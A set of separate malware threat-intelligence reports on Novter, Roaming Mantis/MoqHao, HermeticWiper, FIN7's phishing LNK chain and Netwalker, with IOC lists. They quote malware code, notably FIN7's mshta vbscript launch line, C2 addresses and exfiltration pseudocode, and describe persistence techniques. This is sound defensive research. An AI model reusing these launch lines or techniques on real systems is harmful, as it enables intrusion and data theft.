a shellcode to bypass User Account Control (UAC) via the CMSTPLUA COM interface (related to connection management). The PowerShell script is also embedded with Novter, which will be executed filelessly via the PowerShell Reflective Injection technique. ## Analysis of the Novter Malware Novter is a backdoor in the form of an executable file. Immediately after its execution, it performs the following anti-debugging and anti-analysis checks: - Searching for blacklisted processes and modules by comparing the CRC32 algorithms of their names with a list of hardcoded CRC32s. - Checking if the number of cores is too small. - Checking if the process is being debugged. - Checking if the Sleep function is being manipulated. If it finds any of the aforementioned information, it is then reported to the C&C server. Note that it uses different sets of C&C servers for different purposes. One set, for instance, is solely used for anti-analysis reporting. After the affected machine’s environment is double-checked and reported, the malware goes to sleep for a long time. The malware then performs the following routines: 1. Disable processes related to Windows Defender and Windows updates. 2. Set persistence through the following: - Dropping a randomly named .HTA file to %APPDATA%\Roaming, where the routine body contains a hardcoded string with .HTA file contents and %s markers, which are replaced with randomly generated strings at runtime. This .HTA file contains JavaScript code, which reads and executes a PowerShell payload from the registry. - Creating three randomly named registry subkeys in HKLM or HKCU (based on account privileges) SOFTWARE\<random string>. The first two registry subkeys have hardcoded templates in the malware body, and the %s strings are randomized similarly to how it was done in the .HTA file. The code stored in both registry subkeys are actually PowerShell scripts. The first script reads and executes the second script, which is obfuscated by abusing EmpireProject’s Invoke-PSInject open-source project. The third subkey contains the hex-encoded binary of the dropper. - Creating a randomly named link to the .HTA file in the Run registry key, which executes PowerShell code stored in the first registry subkey. This executes the PowerShell code stored in the second registry subkey, which then loads the binary file stored in the third registry subkey. Infection from the next reboot of the system thus becomes fileless. 3. Start a thread that parses an embedded configuration in JSON format and starts regular heartbeat communication — beacons that inform attackers that the infected machine is alive/working — by sending empty POST requests with the “accl” servers specified in the configuration file. 4. Start a thread that queries the “acll” server to get the dynamic configuration file. The request interval is six hours; the configuration file is encrypted by RC4 with a hardcoded password. 5. Start a thread that constantly queries the C&C server and executes a command, if requested, via the ShellExecute function. 6. Start communication with one of the “accl” servers specified in the dynamic configuration file. Communication is RC4-encrypted with a hardcoded password. However, this password is different from the thread where the configuration file is updated. The backdoor commands that Novter supports are: - killall — Terminate a process and delete a file (for all modules). - kill — Terminate a process and delete a file (for a specific module). - stop — Terminate process without deleting its file (for a specific module). - resume — Start a process (for a specific module). - modules — Download and execute an additional module. - update — Download a new version and install the update. - update_interval — Set an interval between two consecutive update attempts. ## Novter’s Notable Modules Below is a list and our analysis of Novter’s most important modules: - **‘call_02’ module** — This module will use an Invoke-PSInject script to load a binary embedded inside it. The loaded binary will connect to a remote server to retrieve data and pop up a full-screen window that will display the technical support scam page to the victim. - **‘block_av_01’ module** — This module is a JavaScript code and has the following functions: 1. Extract from resources, debase64, and drop the WinDivert DLL and drivers. 2. Run a shellcode embedded in a PowerShell script via some kind of Invoke-Shellcode. The shellcode will iterate through all running processes and attempt to match the ROR-13 hashes of their names to its own list of hardcoded ROR13 hashes. If it finds matches, process IDs of the detected processes are used in the WinDivert filter. This will make the WinDivert filter look like: ((processId=560 or processId=676 or processId=724 or processId=848 or processId=888) and (remotePort==80 or remotePort==443)). As a result, certain process communication via HTTP and HTTPS are diverted. According to the documentation, the WINDIVERT_FLAG_RECV_ONLY flag “forces the handle into receive only mode which effectively disables WinDivertSend(). This means that it is possible to block/capture packets or events but not inject them.” This creates a communication blocker for processes with certain names. - **‘all_socks_05’ (Nodster) module** — A JavaScript code that has the following functions: 1. If the OS is Windows 7, it will download and install the update KB3033929 (Availability of SHA-2 Code Signing Support for Windows 7 and Windows Server 2008 R2). WinDivert documentation shows that it requires this update for it to be installed in the system. 2. Try to modify the affected system’s TTL value, TCP Window Size, and maximum transmission unit (MTU) settings, but it needs to have administrator privileges to do so. The following commands/registry values are run/set: - `netsh interface tcp set heuristics ws=disabled` This disables Windows Scaling heuristics. For Windows 7 and Vista, the TCP auto-tuning feature is enabled by default. This feature does not always operate effectively and it may result in some websites communicating with significantly reduced speed. TCP window size is set to Tcp1323Opts 0x02, as the lower erased bit indicates that using window scaling is not encouraged. MTU is set in the registry to 1440 (smaller than standard Ethernet datagram 1500), likely to prevent fragmentation. 3. Download and install Node.JS, a JavaScript runtime environment. 4. Extract to a separate folder a script that contains a base64-encoded resource, which is a ZIP archive. 5. Execute divergent or mdivergent based on OS version, a random value, and a fixed probability threshold. Both files can be found as standalone executables or shellcodes. In case of shellcodes, they are base64-encoded and embedded in some kind of Invoke-Shellcode-style PowerShell scripts. The shellcode uses the WinDivert library and drivers to manipulate packets in the following ways: - Divert only outbound TCP packets with tcp.Syn and tcp.Ack != 1, and ignore local loopback packets. - Check TCP options; if a combination of certain bits in the TCP header is set (e.g., CWR - Congestion Window Reduced, URG - urgent pointer, etc.), the window size in the TCP packet is also manipulated; the IP Type of Service flag Reliability is also set to 1. These settings likely ensure the packets’ high reliability, which is needed for a SOCKS proxy communication. Nodster will create a new TCP connection to connect back to the server, receive the network request, and then send back the response. A “message” event can send data over an established connection by indicating the existing ID of a connection until it receives a “close” event. Nodster can handle multiple TCP proxy connections at the same time. --- Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threats techniques. We continually work to anticipate new threats and deliver thought-provoking research.
# Ongoing Roaming Mantis Smishing Campaign Targeting France This blog post on the Roaming Mantis group is an extract of the “FLINT 2022-037 – Ongoing Roaming Mantis smishing campaign targeting France” report (SEKOIA.IO Flash Intelligence) sent to our clients on July 07, 2022. ## Summary On July 4, 2022, a SEKOIA.IO analyst received phishing SMS (also called smishing) embedding a malicious URL. The URL either deploys the MoqHao Android malware or redirects to an Apple login details credential harvesting page. Analyzing this smishing activity led us to identify an active campaign targeting victims across France. The observed modus operandi during the ongoing campaign targeting French mobile phone users is congruent with past observed Roaming Mantis activities documented by multiple security vendors. The campaigns distributing MoqHao in Japan, South Korea, Taiwan, Germany, France, the UK, and the US have similar techniques. Our investigation shows that this campaign widely impacts France and possibly results in around 70,000 Android device compromises. MoqHao (aka Wroba, XLoader for Android) is an Android Remote Access Trojan (RAT) with information-stealing and backdoor capabilities that likely spreads via SMS. It is attributed to Roaming Mantis, assessed to be a financially motivated Chinese threat group. SEKOIA.IO analysts have monitored and tracked this threat since the beginning of 2022. In this blog post, we describe each step of the ongoing smishing campaign and share our investigation on Roaming Mantis’ infrastructure. ## Ongoing Smishing Campaign The Roaming Mantis smishing campaign was first observed by SEKOIA.IO analysts through four malicious SMS received on two mobile phones. The distribution campaign shows geofencing and operating system checking capabilities. We assess that these features allow Roaming Mantis to tailor their attack, as well as hinder analysis and detection efforts. Here is an overview of the infection chain depending on the victim’s location (based on their IP address) and operating system (based on its user-agent). ### Step-by-Step MoqHao’s Compromise The initial attack vector is a text message distributed by SMS and containing a malicious URL. If the target clicks on the link, an HTTP request is sent to the server. Depending on the location of the victim (likely inferred from its IP address) and its operating system (inferred from the user-agent), the server responds: - Nothing (404 Not found), if the victim’s device is not located in France; - An HTML page containing JavaScript code displaying an alert and redirecting to an APK (Android Package Kit) file, if the mobile is located in France and runs Android; - A fake Apple login web page, if the mobile is located in France and is an iPhone. The smishing campaign is therefore geofenced and aims to install Android malware or collect Apple iCloud credentials. If the victim’s mobile phone is running the Android operating system, a message entices the victim to download the malicious APK as a web browser update (SHA256: 3ba2b1c0352ea9988edeb608abf2c037b1f30482bbc05c3ae79265bab7a44c9). This file corresponds to the MoqHao malware according to the analysis of the Hatching Triage sandbox. Once the victim downloaded and executed the malware, the application requests permission to read and send SMS messages. This permission allows the malware, among other things, to intercept SMS from victims’ mobile phones. It is worth noting the studied MoqHao sample mimics the Chrome application to lure the victim to give the permission. The malware then retrieves its C2 server by requesting one of the social network profiles stored in the payload. In the analyzed sample, the profiles are: shaoye77, shaoye88, and shaoye99 on Imgur service. The malware requests the profile shaoye99 on the legitimate image hosting service Imgur. As shown in the figure, the “about” section contains the string “bgfrewiFaRPCdEp9o0GfWPL3dhKU2uwZh-Z7eg9bgfrewi” which embeds the DES-encrypted C2 server contained between the markers “bgfrewi”. By using the following recipe in CyberChef, we obtain the final IP address and port pair (107.148.243[.]103:28867). It is worth noting the character “-” is replaced by “+” in URL safe Base64 encoding representation. Since 2020, the DES key and IV (41 62 35 64 31 51 33 32) are unchanged. ## Analysis of the Roaming Mantis Campaign The Chinese intrusion set Roaming Mantis is assessed to be a financially motivated group, with a history of targeting developed countries. In addition to the received message, several French people are currently reporting this campaign on Twitter, as well as on French websites dedicated to phishing. As reported by Kaspersky and Team Cymru in early 2022, and based on our observation of more than 90,000 unique IP addresses that requested the C2 server distributing MoqHao, we confirm that the threat group Roaming Mantis currently focuses on France. This activity leveraging MoqHao or Apple IDs’ credential harvesting pages notably provides Roaming Mantis access to data from the local system, SD card, applications, messages, or contact list, iCloud backups, iMessage, call history, as well as allowing remote interaction with a victim’s device. We assess Roaming Mantis’ wide collection of sensitive data could be further used in extortion schemes, sold to other threat groups, or possibly leveraged in “Big Game Hunting” operations. ## Roaming Mantis Infrastructure We noticed two different infection chains depending on the user-agent of the target. In the following sections, we describe the infrastructure associated with these attack chains. ### Android Payloads The infrastructure hosting Android payloads was detailed by Team Cymru in their part 2 blog post from April 2022. According to our analysis, this infrastructure still has the same characteristics: - Servers are used to target only one country, meaning if an IP address from another country contacts the servers, it will get a 404 error. - The open ports on the servers are still the same: TCP/443, TCP/5985, TCP/10081, and TCP/47001. - The certificate identified in April is still in use on these servers: - SHA1: 834024f91f67445a7fd1a98689cb3f49b4c3ade7 - SHA256: 76de629b3e446e99d45541e95da0bfa18db43a48daa23f5551fdbde0c295a36c ### Apple Phishing SEKOIA analysts also studied the infrastructure of Apple phishing pages: - Those servers have the following ports open: TCP/80, TCP/5432, TCP/5985, and TCP/47001. - The landing page mimics the Apple ID login page. As with the Android infrastructure, the geofencing is set and the landing page language matches the language of targeted users. ### Domains Domains used inside SMS messages are either registered with GoDaddy or use dynamic DNS services such as duckdns.org. The intrusion set uses more than hundreds of subdomains. Indeed, each IP address is resolved by dozens of FQDN (e.g., more than 5000 FQDN resolve to 134[.]119[.]205[.]21). As it is complex to list all domains, SEKOIA rather tracks associated IP addresses to monitor this intrusion set. ### MoqHao C2 Server Roaming Mantis uses a separate infrastructure for the MoqHao C2 servers. At the time of writing, we were able to identify 9 servers hosted on EHOSTIDC and VELIANET Autonomous Systems. All infrastructures are monitored by SEKOIA internal project “SEKOIA C2 Trackers” and can be found in our Intelligence Center portal. ## MITRE ATT&CK TTPs - T1583.001 – Acquire Infrastructure: Domains - T1583.004 – Acquire Infrastructure: Server - T1583.006 – Acquire Infrastructure: Web Services - T1566.002 – Phishing: Spearphishing Link - T1204.001 – User Execution: Malicious Link - T1102.001 – Web Service: Dead Drop Resolver - T1071.001 – Application Layer Protocol: Web Protocols - T1041 – Exfiltration Over C2 Channel ## MoqHao Malware IOCs & Technical Details ### Domains Contained in SMS - coqrf.xpddg[.]com - znjjq.udsuc[.]com - gesee.udsuc[.]com - bswhd.mrheu[.]com - xpddg[.]com - udsuc[.]com - mrheu[.]com ### Malicious APK - 83ba2b1c0352ea9988edeb608abf2c037b1f30482bbc05c3ae79265bab7a44c9 ### APK Permissions - android.permission.BROADCAST_SMS - android.permission.BROADCAST_WAP_PUSH - android.permission.SEND_RESPOND_VIA_MESSAGE - android.permission.ACCESS_WIFI_STATE - android.permission.CHANGE_NETWORK_STATE - android.permission.CALL_PHONE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.READ_EXTERNAL_STORAGE - android.permission.ACCESS_NETWORK_STATE - android.permission.MODIFY_AUDIO_SETTINGS - android.permission.RECEIVE_BOOT_COMPLETED - android.permission.WAKE_LOCK - android.permission.INTERNET - android.permission.RECEIVE_SMS - android.permission.READ_SMS - android.permission.WRITE_SMS - android.permission.SEND_SMS - android.permission.SYSTEM_ALERT_WINDOW - android.permission.READ_CONTACTS - android.permission.READ_PHONE_STATE - android.permission.GET_ACCOUNTS ### Android Payload Servers - 134[.]119[.]193[.]106 - 134[.]119[.]193[.]108 - 134[.]119[.]193[.]109 - 134[.]119[.]193[.]110 - 134[.]119[.]205[.]18 - 134[.]119[.]205[.]21 - 134[.]119[.]205[.]22 - 142[.]0[.]136[.]49 - 142[.]0[.]136[.]50 - 142[.]0[.]136[.]52 - 142[.]4[.]97[.]105 - 142[.]4[.]97[.]106 - 142[.]4[.]97[.]107 - 142[.]4[.]97[.]108 - 142[.]4[.]97[.]109 - 146[.]0[.]74[.]157 - 146[.]0[.]74[.]197 - 146[.]0[.]74[.]199 - 146[.]0[.]74[.]202 - 146[.]0[.]74[.]203 - 146[.]0[.]74[.]205 - 146[.]0[.]74[.]206 - 146[.]0[.]74[.]228 - 192[.]51[.]188[.]107 - 192[.]51[.]188[.]108 - 192[.]51[.]188[.]109 - 192[.]51[.]188[.]142 - 192[.]51[.]188[.]145 - 192[.]51[.]188[.]146 - 27[.]124[.]36[.]32 - 27[.]124[.]36[.]34 - 27[.]124[.]36[.]52 - 27[.]124[.]39[.]241 - 27[.]124[.]39[.]242 - 27[.]124[.]39[.]243 - 91[.]204[.]227[.]19 - 91[.]204[.]227[.]20 - 91[.]204[.]227[.]21 - 91[.]204[.]227[.]22 - 91[.]204[.]227[.]23 - 91[.]204[.]227[.]24 - 91[.]204[.]227[.]25 - 91[.]204[.]227[.]26 - 91[.]204[.]227[.]27 - 91[.]204[.]227[.]28 ### Apple Phishing Servers - 172[.]81[.]131[.]12 - 172[.]81[.]131[.]14 - 172[.]81[.]131[.]10 - 172[.]81[.]131[.]11 - 172[.]81[.]131[.]13 - 103[.]80[.]134[.]41 - 103[.]80[.]134[.]40 - 103[.]80[.]134[.]42 ### MoqHao C2 Servers - 61[.]97[.]248[.]6 - 61[.]97[.]248[.]7 - 61[.]97[.]248[.]8 - 61[.]97[.]248[.]9 - 103[.]249[.]28[.]206 - 103[.]249[.]28[.]207 - 103[.]249[.]28[.]208 - 103[.]249[.]28[.]209 - 92[.]204[.]255[.]172 ### Imgur Profile Used as Dead Drop Resolvers - hxxps://imgur[.]com/user/shaoye99/about - hxxps://imgur[.]com/user/shaoye88/about - hxxps://imgur[.]com/user/shaoye77/about - hxxps://imgur[.]com/user/shaoye66/about - hxxps://imgur[.]com/user/shaoye55/about - hxxps://imgur[.]com/user/shaoye44/about - hxxps://imgur[.]com/user/shaoye33/about - hxxps://imgur[.]com/user/shaoye22/about - hxxps://imgur[.]com/user/shaoye11/about IoCs are available on the SEKOIA.IO Community Github. More IoCs related to MoqHao malware or Roaming Mantis intrusion set are available on SEKOIA.IO for our XDR and CTI customers.
# What is HermeticWiper – An Analysis of the Malware and Larger Threat Landscape in the Russian Ukrainian War On February 24, the Russian-Ukrainian conflict escalated into an invasion of Ukraine by Russian armed forces. However, these hostilities were not limited to the physical domain. Cyber warfare is happening in parallel to the armed conflict, becoming an inseparable part of the hostile exchanges between these nations. Our Threat Research team noted various cyberattacks deployed by Russia in the weeks preceding the invasion aimed at sowing chaos and disrupting communications within Ukraine’s government and military institutions. While the most publicized of these cyberattacks were the DDoS attacks, official government website take-downs, and website defacements, the most disruptive attack was a disk-wiping malware called WhisperGate which we covered in a previous post. On February 23, one day before the larger Russian land invasion began, Ukrainian organizations were targeted by another destructive disk-wiping malware dubbed HermeticWiper designed to wipe a computer’s hard disk data and destroy the Master Boot Record and partitions, making any impacted machines inoperable. ## What is HermeticWiper HermeticWiper makes use of a driver belonging to an outdated version of EaseUS Partition Master application, developed by CHENGDU YIWO Tech Development. The attackers used a benign, digitally signed kernel driver to evade detection while utilizing the driver's ability to interact with storage devices and acquire low-level disk access for retrieving partition information, corrupting the device’s disks. While the driver is digitally signed by ‘Hermetica Digital Ltd’ (hence the wiper name), the certificate is now revoked. The malware stores 32-bit and 64-bit versions of the driver in MS-compressed copies within its resource section, deploying it according to the operating system version. Forensic analysis reveals that the malware has several variants, one with a timestamp dating to December 2021, indicating the attack has been 'in progress’ for quite some time. We've observed several attacks which precede the execution of the wiper. In one case, the attackers exploited a known vulnerability in Microsoft SQL Server (CVE-2021-1636) to gain a foothold in one of the Ukrainian organizations. In a separate case, the attackers gained access to the network via malicious SMB activity against a Microsoft Exchange Server, which led to credential theft, and later to the deployment of the wiper. Several other methods were also employed, including the Apache Tomcat vulnerability, which allowed the attackers to run PowerShell commands, dump credentials, and execute the malware. When executed, HermeticWiper will first gain higher privileges by utilizing Access Token Manipulation [T1134] and then obtain "SeBackupPrivilege" (which allows it to retrieve any file content) and "SeLoadDriverPrivilege" (which allows it to load/unload any driver). As we previously mentioned, HermeticWiper uses EaseUS signed driver in order to manipulate the disk. Next, HermeticWiper will disable Volume Shadow Service (vss) and disable crash dumps by modifying specific registry keys, ensuring that no backups will be available and covering its tracks. It will then enumerate the system’s physical drives. For each, it will then corrupt the first 512 bytes and destroy the Master Boot Record (MBR). While this should be enough to make any computer inoperable, HermeticWiper doesn't stop there. It next checks for NTFS or FAT file systems and corrupts them, ensuring that systems with both MBR and GPT drives are compromised. The Wiper will then force system shutdown to complete the wiping operation. Similar to the previous WhisperGate attack, where the wiper was disguised as ransomware, the attackers appear to be using PartyTicket ransomware as a decoy in addition to the HermeticWiper malware to distract from the wiper attacks. ## Russia-Ukraine Cyber Warfare As we mention above, Russia started its cyberattack campaign long before the armed forces invasion. However, after the HermeticWiper attack began on February 23 we’ve seen a surge in cyber warfare between the two countries. ### Timeline of Major Events - **Feb 23**: Ukraine’s ministry of foreign affairs and the Security Service of Ukraine (SBU) websites were taken down while Ukrainian troops received threatening SMS messages with the aim of demoralizing them by urging them to flee or be killed. Sandworm/VoodooBear group, both of which have previously been attributed to the Russian military intelligence service (GRU), use Cyclops Blink, a Linux malware which can extract device information and download additional payload. - **Feb 24**: The portal of the “Ministry of Agrarian Policy and Food” of Ukraine is defaced by a group named Free Civilian. The group offers databases containing sensitive government and citizens information for sale. The Anonymous hacking collective announced their support for Ukraine. - **Feb 25**: A massive phishing email campaign targets Ukrainian troops’ private “i.ua” and “meta.ua” accounts, delivered by UNC1151 (aka GhostWriter) which relates to officers of the “Ministry of Defence of the Republic of Belarus.” The infamous Conti group announces their full support for the Russian government. - **Feb 26**: The Vice Prime Minister of Ukraine Mykhailo Fedorov announces the creation of the “IT Army,” crowdsourced offensive operations against Russian infrastructure, aimed at recruiting cyber specialists willing to help. - **Feb 27**: The LockBit ransomware group declares they will leak all victims’ data. - **Feb 28**: One of Conti group members begins leaking data from the group’s chat after their previous announcement supporting the Russian government. ## IOCs - **EaseUS driver**: - e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 - b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 - b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd - fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d - 96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84 - 8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b - 23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4 - 2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d - **HermeticWiper**: - 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 - 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da - ca3c4cd3c2edc816c1130e6cac9bdd08f83aef0b8e6f3d09c2172c854fab125f - 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf - 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 - **PartyTicket**: - 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 ## Predictions and Guidance The ongoing Russian-Ukrainian conflict is already causing a significant escalation in the quantity and scope of attacks from many, disparate parties. Elevated activity is being seen from state-sponsored groups, non-state-sponsored actors, and by independent hacktivists like the Anonymous group. The unprecedented raft of sanctions enacted against Russia may invoke further retaliation and response in the form of cyberattacks by Russian-based organized cybercrime groups and state-sponsored or contracted actors. We have already seen several cyber gangs supporting Russia threaten to use their resources to strike back against nations and organizations that may coordinate cyberattacks against Russia. We estimate the ongoing physical conflict escalation combined with the new sanctions will lead to a higher risk profile; this will be heightened for sectors associated with sanctions and have high economic or national security value. These may include financial services, aviation and aerospace, energy, and critical infrastructure. ### Key Points to Consider - Threat actors are targeting organizations with phishing attempts related to the conflict. - Security staff should remind or re-educate employees to minimize successful social engineering attempts. - Every application in the organization can be a potential backdoor. These applications need to be updated frequently with the latest security patches. Organizations should apply a strict application control policy while limiting applications which are not critical to their business. - Scripts are a powerful execution mechanism. Security staff should restrict script execution based on a user’s roles and devices. - To ensure increased visibility, it is recommended to configure or enable additional layers of logging when and where available. - Incident response requires considerable time and resources. The initial response of the security staff to a possible threat can make a huge difference in the overall impact of the attack. Trained security staff with a dedicated playbook for incident response scenarios should prevent additional infection and lateral movement inside the organization. - Threat actors have learned to live-off-the-land. SOC operators should be extremely attentive to potential LOLbins attacks. ## Protection from HermeticWiper with Deep Instinct Deep Instinct prevents HermeticWiper and PartyTicket statically prior to execution, stopping it before it can deploy.
# FIN7 Evolution and the Phishing LNK **Threat Research** Nick Carr, Saravanan Mohankumar, Yogesh Londhe, Barry Vengerik, Dominik Weber Apr 24, 2017 FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015. FIN7 is referred to by many vendors as “Carbanak Group”, although we do not equate all usage of the CARBANAK backdoor with FIN7. FireEye recently observed a FIN7 spear phishing campaign targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. The subjects and attachments were themed as complaints, catering orders, or resumes. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process. ## Infection Chain While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object. By requiring this unique interaction – double-clicking on the image and clicking the “Open” button in the security warning popup – the phishing lure attempts to evade dynamic detection as many sandboxes are not configured to simulate that specific user action. The malicious LNK launches “mshta.exe” with the following arguments passed to it: ``` vbscript:Execute("On Error Resume Next:set w=GetObject(,""Word.Application""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close") ``` The script in the argument combines all the textbox contents in the document and executes them. The combined script from Word textbox drops the following components: - \Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs - \Users\[user_name]\Intel\58d2a83f777942.26535794.ps1 - \Users\[user_name]\Intel\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes. ### VBScript #1 The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher. This VBScript checks if the “58d2a83f777942.26535794.ps1” PowerShell script is running using WMI queries and, if not, launches it. ### PowerShell Script “58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager. The shellcode retrieves an additional payload by connecting to the following C2 server using DNS: ``` aaa.stage.14919005.www1.proslr3[.]com ``` Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode. If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern: ``` [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com ``` ### VBScript #2 “mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files: - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1 - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs - \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor. ### HALFBAKED Backdoor Variant The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. This version of HALFBAKED connects to the following C2 server: ``` hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd ``` This version of HALFBAKED listens for the following commands from the C2 server: - **info**: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries - **processList**: Send list of process running - **screenshot**: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) - **runvbs**: Executes a VB script - **runexe**: Executes EXE file - **runps1**: Executes PowerShell script - **delete**: Delete the specified file - **update**: Update the specified file All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: ``` Function send_data(data) random_string = custom_function_to_generate_random_string() encoded_data = URLEncode(SimpleEncrypt(data)) post_data("POST", random_string & "=" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) ``` Persistence Mechanism Examining Attacker Shortcut Files In many cases, attacker-created LNK files can reveal valuable information about the attacker’s development environment. These files can be parsed with lnk-parser to extract all contents. LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address. For example, one of these FIN7 LNK files contained the following properties: - Version: 0 - NetBIOS name: andy-pc - Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca - Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 - Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca - Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 - MAC address: 08:00:27:3d:52:68 - UUID timestamp: 03/21/2017 (12:12:28.500) [UTC] - UUID sequence number: 2861 From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname “andy-pc” on March 21, 2017. ### Example Phishing Lures - Filename: Doc33.docx MD5: 6a5a42ed234910121dbb7d1994ab5a5e - Filename: Mail.rtf MD5: 1a9e113b2f3caa7a141a94c8bc187ea7 FIN7 April 2017 Community Protection Event On April 12, in response to FIN7 actively targeting multiple clients, FireEye kicked off a Community Protection Event (CPE) – a coordinated effort by FireEye as a Service (FaaS), Mandiant, FireEye iSight Intelligence, and our product team – to secure all clients affected by this campaign.
# Netwalker Ransomware Infecting Users via Coronavirus Phishing As if people did not have enough to worry about, attackers are now targeting them with Coronavirus (COVID-19) phishing emails that install ransomware. While we do not have access to the actual phishing email being sent, MalwareHunterTeam was able to find an attachment used in a new Coronavirus phishing campaign that installs the Netwalker Ransomware. Netwalker is a ransomware formerly called Mailto that has become active recently as it targets enterprise and government agencies. Two widely reported attacks related to Netwalker are the ones on the Toll Group and the Champaign Urbana Public Health District (CHUPD) in Illinois. The new Netwalker phishing campaign is using an attachment named "CORONAVIRUS_COVID-19.vbs" that contains an embedded Netwalker Ransomware executable and obfuscated code to extract and launch it on the computer. When the script is executed, the executable will be saved to `%Temp%\qeSw.exe` and launched. Once executed, the ransomware will encrypt the files on the computer and append a random extension to encrypted file names. Head of SentinelLabs Vitali Kremez, the research division of SentinelOne, told BleepingComputer that this version of the ransomware specifically avoids terminating the Fortinet endpoint protection client. When asked why they would do that, Kremez stated it may be to avoid detection. "I suppose it might be because they have already disabled the anti-virus functionality directly from the customer admin panel; however, they do not want to trip an alarm by terminating the clients," Kremez told BleepingComputer. When done, victims will find a ransom note named `[extension]-Readme.txt` that contains instructions on how to access the ransomware's Tor payment site to pay the ransom demand. Unfortunately, at this time there is no known weakness in the ransomware that would allow victims to decrypt their files for free. Instead, victims will need to either restore from backup or recreate the missing files. Due to the ongoing Coronavirus pandemic, threat actors have actively started using the outbreak as a theme for their phishing campaigns and malware. We have seen the TrickBot trojan using text from Coronavirus related news stories to evade detection, a ransomware called CoronaVirus, the data-stealing FormBook malware spread through phishing campaigns, and even an email extortion campaign threatening to infect your family with Coronavirus. This has led to the US Cybersecurity and Infrastructure Security Agency (CISA) to issue warnings about the rise of Coronavirus-themed scams and the World Health Organization (WHO) to release warnings of phishing scams impersonating their organization. As threat actors commonly take advantage of topics that spread anxiety and fear, everyone must be more diligent than ever against suspicious emails and the promotion of programs from unknown sources.
